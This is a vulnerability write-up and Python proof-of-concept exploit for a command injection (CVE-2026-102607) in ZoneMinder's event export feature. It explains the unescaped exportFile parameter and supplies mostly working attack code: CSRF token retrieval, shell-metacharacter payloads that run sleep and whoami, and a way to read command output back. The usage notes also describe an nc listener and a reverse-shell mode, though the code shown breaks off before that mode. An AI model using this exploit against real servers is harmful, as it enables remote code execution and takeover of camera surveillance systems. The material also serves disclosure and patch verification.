Python PoC exploiting CVE-2026-102607, an authenticated OS command injection in ZoneMinder <= 1.38.1 exportEvents() enabling RCE, command output exfiltration, and reverse shells.
An authenticated OS Command Injection vulnerability exists in ZoneMinder's event export functionality. The exportFile HTTP request parameter is passed unsanitized into a shell command executed via PHP's exec(), allowing any authenticated user with View Events permission to execute arbitrary operating system commands on the server.
This vulnerability results in full Remote Code Execution (RCE) as the web server user (www-data).
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hweb/ajax/event.php, line 103exportEvents() in web/skins/classic/includes/export_functions.php, lines 1030–1032The exportEvents() function accepts a $export_root parameter sourced directly from $_REQUEST['exportFile'] (via ajax/event.php, line 103). This parameter is used to construct the directory path appended to tar and zip commands.
While the archive file path ($archive_path) at line 1020 is properly escaped using escapeshellarg(), the trailing directory argument at line 1030 is concatenated directly into the command string without any sanitization:
// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);
// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';
// Line 1032 — executed
exec($command, $output, $status);
An attacker can inject shell metacharacters (;, |, &&, etc.) into the exportFile parameter to break out of the intended tar/zip command and execute arbitrary commands. The trailing / appended by PHP can be neutralized using # (shell comment character).
HTTP Request: $_REQUEST['exportFile']
│
▼
ajax/event.php (line 103)
└── exportEvents(..., $_REQUEST['exportFile'])
│
▼
export_functions.php (line 890)
└── $export_root = $_REQUEST['exportFile'] // No sanitization
│
▼
export_functions.php (line 1030)
└── $command .= ' ' . $export_root . '/' // Direct concatenation
│
▼
export_functions.php (line 1032)
└── exec($command) // OS Command Execution
View Events or View Snapshots permission.__csrf_magic token must be included (fetched from any ZoneMinder page).exportDetail=1: This parameter must be included in the request to prevent a PHP fatal error in exportEventImagesMaster() when using non-existent event IDs.#!/usr/bin/env python3
"""
=====================================================================
Affected Version : ZoneMinder <= 1.38.1
Tested On : ZoneMinder 1.38.1 (Docker)
Vulnerability : OS Command Injection in exportEvents()
CVSS Score : 9.9 (Critical)
Attack Vector : Network (Authenticated)
File : web/skins/classic/includes/export_functions.php
Sink : exec() at line 1032
Description:
The exportEvents() function in ZoneMinder constructs shell commands
for `tar` and `zip` archival using unsanitized user input from the
`exportFile` HTTP request parameter. This parameter is used as the
`$export_root` variable, which is directly concatenated into the
command string passed to exec() without escapeshellarg() or any
equivalent sanitization.
An authenticated attacker with "View Events" permission can inject
arbitrary OS commands by appending shell metacharacters (;) to the
`exportFile` parameter, achieving Remote Code Execution as the
web server user (www-data).
Usage:
1. Start a listener on your attack machine:
$ nc -lvnp <LPORT>
2. Run this exploit:
$ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>
3. The exploit supports three modes:
--mode check : Verify the vulnerability (sleep-based timing)
--mode whoami : Extract the output of `whoami`
--mode revshell: Spawn a reverse shell to LHOST:LPORT
Author : d4kw1n
Date : 2026-03-10
"""
import argparse
import re
import sys
import time
import urllib.parse
try:
import requests
except ImportError:
print("[-] 'requests' library required. Install with: pip install requests")
sys.exit(1)
BANNER = r"""
ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""
class ZMExploit:
def __init__(self, target, lhost=None, lport=None, session_cookie=None):
self.target = target.rstrip("/")
self.lhost = lhost
self.lport = lport
self.session = requests.Session()
self.session.verify = False
if session_cookie:
self.session.cookies.set("ZMSESSID", session_cookie)
def get_csrf_token(self):
"""Fetch a valid CSRF token from the target."""
res = self.session.get(f"{self.target}/index.php", timeout=10)
match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
if not match:
print("[-] Failed to extract CSRF token. Is the target reachable?")
return None
return match.group(1)
def send_payload(self, payload):
"""Send the injection payload via the export action."""
csrf = self.get_csrf_token()
if not csrf:
return None
data = {
"view": "request",
"request": "event",
"action": "export",
"exportFormat": "tar",
"exportDetail": "1",
"eids[]": "1",
"exportFile": payload,
"__csrf_magic": csrf,
}
try:
return self.session.post(
f"{self.target}/index.php", data=data, timeout=30
)
except requests.exceptions.ReadTimeout:
return None
def read_output(self, filename):
"""Read exfiltrated command output via archive.php."""
res = self.session.get(
f"{self.target}/index.php?view=archive&type=tar&file={filename}",
timeout=10,
)
return res.text.strip()
# ── Mode: check ──────────────────────────────────────────────
def check(self):
"""Verify the vulnerability using a timing-based approach."""
delay = 5
print(f"[*] Sending sleep {delay} payload for timing verification...")
payload = f"a; sleep {delay}; #"
start = time.time()
self.send_payload(payload)
elapsed = time.time() - start
print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
if elapsed >= delay:
print("[+] VULNERABLE - Command injection confirmed!")
return True
else:
print("[-] NOT VULNERABLE or target unreachable.")
return False
# ── Mode: whoami ─────────────────────────────────────────────
def whoami(self):
"""Extract the web server user via command output exfiltration."""
outfile = "whoami.tar"
print(f"[*] Injecting: whoami > {outfile}")
self.send_payload(f"a; whoami > {outfile}; #")
result = self.read_output(outfile)
if result:
print(f"[+] Server running as: {result}")
else:
print("[-] Could not retrieve output.")
return result